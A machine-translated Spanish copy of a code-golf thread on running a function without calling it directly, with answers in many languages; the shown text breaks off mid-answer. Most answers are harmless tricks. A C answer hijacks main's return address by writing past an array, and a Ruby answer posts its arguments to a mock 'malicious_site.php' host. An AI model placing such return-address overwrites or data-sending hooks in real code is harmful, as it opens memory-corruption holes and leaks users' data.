Llamar a un método sin llamarlo [cerrado]


77

Inspirado por una pregunta StackOverflow ahora eliminada . ¿Puedes encontrar una manera de ejecutar un método en particular, sin llamarlo explícitamente? Cuanto más indirecto sea, mejor.

Esto es lo que quiero decir exactamente (C se usa solo para ejemplificar, se aceptan todos los lenguajes):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Pregunta original ingrese la descripción de la imagen aquí


58
+10471 ... agradable
qwr

29
Me pregunto cuánto representante necesitas para desbordar el desbordamiento de la pila.
PyRulez

34
Aparentemente esta es una captura de pantalla de la cuenta de @Mysticial , viendo el avatar. Mysticial, ¿podría por favor, simplemente haga clic en la pestaña rep?!?!?!
Pomo de la puerta

44
@Doorknob ¿Por qué debería hacerlo? Todo proviene de una respuesta.
FDinoff

8
@PyRulez Jon Skeet aún no lo ha hecho, así que estamos a salvo por ahora .
Cole Johnson

Respuestas:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Cuando se compila con GCC, el compilador reemplaza printf("Goodbye!\n")con puts("Goodbye!"), que es más simple y se supone que es equivalente. He proporcionado sigilosamente mi putsfunción personalizada , por lo que se llama en su lugar.


1
@ user17752 Esto es en realidad una transformación que GCC realiza incluso a -O0. (GCC 4.8, de todos modos. Quizás otras versiones necesitan algunas otras opciones.)
hvd

1
lo siento, mi error, olvidé que estaba usando clang en mi macbook.
DarkHeart

@ user17752 Gracias, no había probado con otros compiladores, me alegra saber que al menos clang tiene una opción para obtener la misma transformación.
hvd

Enhorabuena! ¡Eres un ganador!

84

Bueno, ¿cómo es capaz el malware de ejecutar funciones que no se invocan en el código? ¡Desbordando tampones!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

En mi sistema, la dirección de retorno de mainse almacena 3 palabras por encima de la primera variable local. Al codificar esa dirección de retorno con la dirección de otra función, main"regresa" a esa función. Si desea reproducir este comportamiento en otro sistema, es posible que deba ajustar 3 a otro valor.


Pásame (+1): esta es la solución obvia de C.
Comintern

20
Use <!-- language: lang-c -->dos líneas antes de su código para resaltarlo.
Victor Stafusa

99
Todos saludan a @Victor, héroe de resaltado de sintaxis.
Jason C

@Victor, ¿está esto oficialmente documentado? ¿Si sí donde?
Thorbjørn Ravn Andersen


75

Golpetazo

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
Manejo de excepciones. El otro método de llamada!
phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Aquí hay algunas formas inspiradas por las otras respuestas:

  1. ejecutando el código directamente

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Esta es la mejor manera de no llamar realmente a la función.

  2. usando el destructor

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Usando la E / S estándar

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. utilizando búsquedas de atributos

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. El mecanismo de importación

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Bueno, supongo que eso es todo ... No puedo importar nada ahora. No, espera..

  6. Usando los corchetes get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Utilizando variables globales. ¡Mi favorito!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloes un acceso a d['hello']. Después de esto, el mundo parece gris.

  8. Meta clases;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Usando iteradores (puede sobrecargar cualquier operador y usarlo)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Errores

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Los marcos le devuelven la llamada. Casi todas las GUI tienen esta funcionalidad.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Ejecute la cadena de origen (la función debe estar en un archivo)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Decoradores

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. con deserialización de pepinillos (menos favoritos)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Usando serialización

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Más respuestas de Python:


1
Bonita colección, pero te olvidaste de los hilos . ;)
nyuszika7h

Esta respuesta es absurda. +1
asteri

Esta es Python 3
Braden Best

1
Muchos de esos ejemplos también funcionan con Python 3. La metaclase mostrada y la generación de excepciones no funcionan en Python 3.
Usuario

22

Javascript

Este usa JSFuck para hacer el trabajo sucio.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Creo que esto califica como una llamada de función explícita. Solo uno muy ofuscado.
primo

3
@primo, construirá una cadena de javascript para ejecutar y adquirirá el objeto Function para llamarlo. Pero para hacer eso, utiliza conversiones implícitas entre tipos; por ejemplo, ""es una cadena y se []evalúa a 0, por ""[[]]lo que no está definida y ""[[]]+""está "sin definir". Desde allí puede extraer letras individuales: (""[[]]+"")[[]]es "u". Entonces es más como un truco llamar a un ejecutivo con código arbitrario. Creo que eso cuenta?
Phil H

1
@ Phil Entiendo cómo funciona. Retire los dos últimos paréntesis: function anonymous() { x() }.
primo

22

Pitón

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Esto se establece the_functioncomo la función de creación de perfiles, lo que hace que se ejecute en cada llamada de función y devolución.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

¿Esto es Python?
Hosch250

@ user2509848 Sí, olvidé mencionar eso.
grc

¡Una respuesta que no es C! Me encantaría ver más: D

@Johnsyweb Consulte meta.codegolf.stackexchange.com/q/1109/9498 . No es necesario editar cada publicación para incluir el resaltado de sintaxis, especialmente si apenas afecta el aspecto del código (por ejemplo, código corto).
Justin

@Quincunx: Reconocido ☻
Johnsyweb

18

C#

Podemos abusar del DLR para ejecutar siempre algún código cada vez que intente llamar a cualquier método en una clase. Esto es un poco menos barato / obvio que soluciones como delegados, reflexiones, constructores estáticos, etc., porque el método que se ejecuta no solo nunca se invoca sino que ni siquiera se hace referencia a él , ni siquiera por su nombre.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Esto siempre imprime "¡Ja! ¡Te engañé!" no importa en qué intentes invocar a. Entonces podría escribir con a.SuperCaliFragilisticExpiAlidocious()la misma facilidad y haría lo mismo.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Esto es muy directa, pero ciertamente no es una llamada a hello_world, a pesar de que la función hace ejecutar.


16

Rubí

Inspirado por wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

Puede registrar una función que se llamará al final del programa en C, si eso se ajusta a sus necesidades:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Intenté esto con Java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

El método secretMethodNotCalledInMainse llama solo por reflexión, y no estoy buscando nada llamado secretMethodNotCalledInMain(en cambio estoy buscando algo no llamado main). Además, la parte reflexiva del código se llama fuera del mainmétodo cuando se activa el controlador de excepciones no capturadas del JDK.

Aquí está mi información de JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Aquí está la salida de mi programa:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

No esperaba que los NullPointerExceptionlanzados desde el código nativo manejen la reflexión. Pero, como mencionó @ johnchen902, eso se debe a que hereda algunos métodos java.lang.Objecty terminé llamándolos en nulls.


Esos NPEno son errores de JDK. Se lanzan porque trataste de invocar métodos de instancia declarados java.lang.Objectcomo toString()con null.
johnchen902

@ johnchen902 Oh, por supuesto. Gracias. Lo edité
Victor Stafusa

14

C ++

Una forma en C ++ es en el constructor y / o destructor de un objeto estático:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
También pensé en la sobrecarga de nuevo y borrar , pero creo que tres respuestas son lo suficientemente :)
fredoverflow

¿Los constructores / destructores se consideran "métodos" en C ++? En .NET y Java son en realidad un tipo de miembro diferente. No puedes llamar directamente a un ctor estático, incluso si quieres ...
Aaronaught

@Aaronaught: Nada se considera un "método" en C ++ (al menos por alguien que sepa de qué están hablando). Constructores y destructores son funciones miembro. Sin embargo, son funciones miembro "especiales" (por ejemplo, los constructores no tienen nombres, por lo que no puede invocarlos directamente).
Jerry Coffin

Bueno, solo usé ese término porque el OP lo hizo. Sé que C / C ++ y casi todos los demás lenguajes que no son Java / .NET tienen funciones, no métodos. Pero lo más destacado es que no se pueden invocar directamente. Podría argumentarse que técnicamente se invoca directamente a un constructor de instancias new, por lo que sería una respuesta interesante tener una forma de invocar uno sin él new . Pero no sé, los constructores estáticos se sienten como un poco tramposo.
Aaronaught

@Aaronaught Si desea llamar a un constructor en una pieza de memoria que ya está asignada, puede escribir new (p) foo(). Y puede destruir un objeto sin liberar la memoria a través de p->~foo().
fredoverflow

12

C: Hola mundo

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Salida:

Hello World!

Para vincular el método, necesitamos que printf () se compile en algún lugar del programa, pero en realidad no es necesario llamarlo. Las funciones printf () y main () se encuentran separadas 276 bytes entre sí en el segmento de código. Este valor cambiará según el sistema operativo y el compilador. Puede encontrar las direcciones reales en su sistema con este código y luego simplemente restarlas:

printf("%d %d\n", &printf, &main);

44
El *antes maines realmente confuso e innecesario. maines una función que no puede desreferenciar, por lo que implícitamente decae a un puntero de función que luego se desreferencia para producir una función nuevamente. No puede restar un int de una función, por lo que se desvanece a un puntero de función nuevamente. También podrías escribir(*****main-276) ;) Probablemente quisiste escribir (&main-276)o en su (*(main-276))lugar.
fredoverflow

66
The * before main is really confusing and unnecessary.- ¿No es generalmente algo bueno en este sitio?
James Webster

Tenía la impresión de que el estándar decía que un programa bien formado no debería usar main , pero no puede encontrarlo ahora ...
Damon

3
lo llamas explícitamente por referencia ofuscada
Nowayz

9

C (con GCC en línea asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Esto hará que parte del código emitido por GCC termine en un segmento diferente del archivo objeto, haciendo que el flujo de control "caiga" por la función. Tenga en cuenta que esto no funciona si GCC decide reordenar las funciones, obviamente. Probado con GCC 3.4.6 en MirBSD-current / i386, usando -O2. (Además, interrumpe la depuración, compilando con -gerrores ☺)


8

PHP ≥5.4.0

Esta solución es ciertamente un desastre horrible, pero realiza la tarea que se le asignó (no se estipuló cómo bien debe realizarse).

La función para llamar sin llamar :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

La solución :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Ejemplo :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Salidas posibles:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explicacion :

Cuando se le llame, executeFunction()leerá el contenido del archivo que se está ejecutando actualmente (lo que significa que esto solo debe ejecutarse desde la CLI, tal como se usa $argv), analizará los argumentos y el cuerpo de la función especificada, hackeará todo nuevamente en un nuevo fragmento de código, eval()todo y devolver el resultado. El resultado es que getRandomString()nunca se llama, ya sea directa o indirectamente, pero el código en el cuerpo de la función aún se ejecuta.


Bueno, ¿el __construct()método de creación cuenta en PHP ya que nunca llama a la función directamente, sino que la usa new Something()?
Damir Kasipovic

@ D.Kasipovic Algo así, uno podría argumentar que todavía lo estás invocando directamente, de una manera diferente. Elegí mi enfoque actual porque me gusta pensar fuera de la caja. Podría haber registrado la función como una devolución de llamada a register_tick_function(), register_shutdown_function()o spl_autoload_register()similar a la respuesta de Python de @ grc, pero siento que eso es 'hacer trampa' y tomar el camino fácil.
Tony Ellis


7

T-SQL

Es una característica incorporada. ¡Disparadores para la victoria!

Si realmente quieres divertirte con él, crea un montón de disparadores INSTEAD OF en April Fool's Day.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Resultados:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Muy broma. Tal lulz. Guau.

Tinker lo anotó en SQLFiddle.


2
Los desencadenantes siempre me atrapan, como desarrollador de aplicaciones, nunca los espero.
Mateo

7

JavaScript

En la consola de Firefox:

    this.toString = function(){alert('Wow')};

Luego, simplemente comience a escribir cualquier cosa en la consola: Firefox llama .toString()varias veces cuando está escribiendo en la consola.

Enfoque similar es:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

La plataforma de elección es Linux. No podemos llamar a nuestra función, por lo que haremos que nuestro enlazador lo haga en su lugar:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

¿Cómo obtener la dirección mágica?

Confiamos en la especificación básica básica de Linux, que dice:

.fini_array

Esta sección contiene una matriz de punteros de función que contribuye a una matriz de terminación única para el objeto ejecutable o compartido que contiene la sección.

  1. Compila el código:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Examine la dirección de .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Encuentra el VMA de la misma:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

y reemplazar ese valor para ADDRESS.


5

VB6 y VBA

No estoy seguro de si esto califica o no, porque está llamando a un método de una clase:

Esto va en un módulo de clase:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Y este es el código de "llamada":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
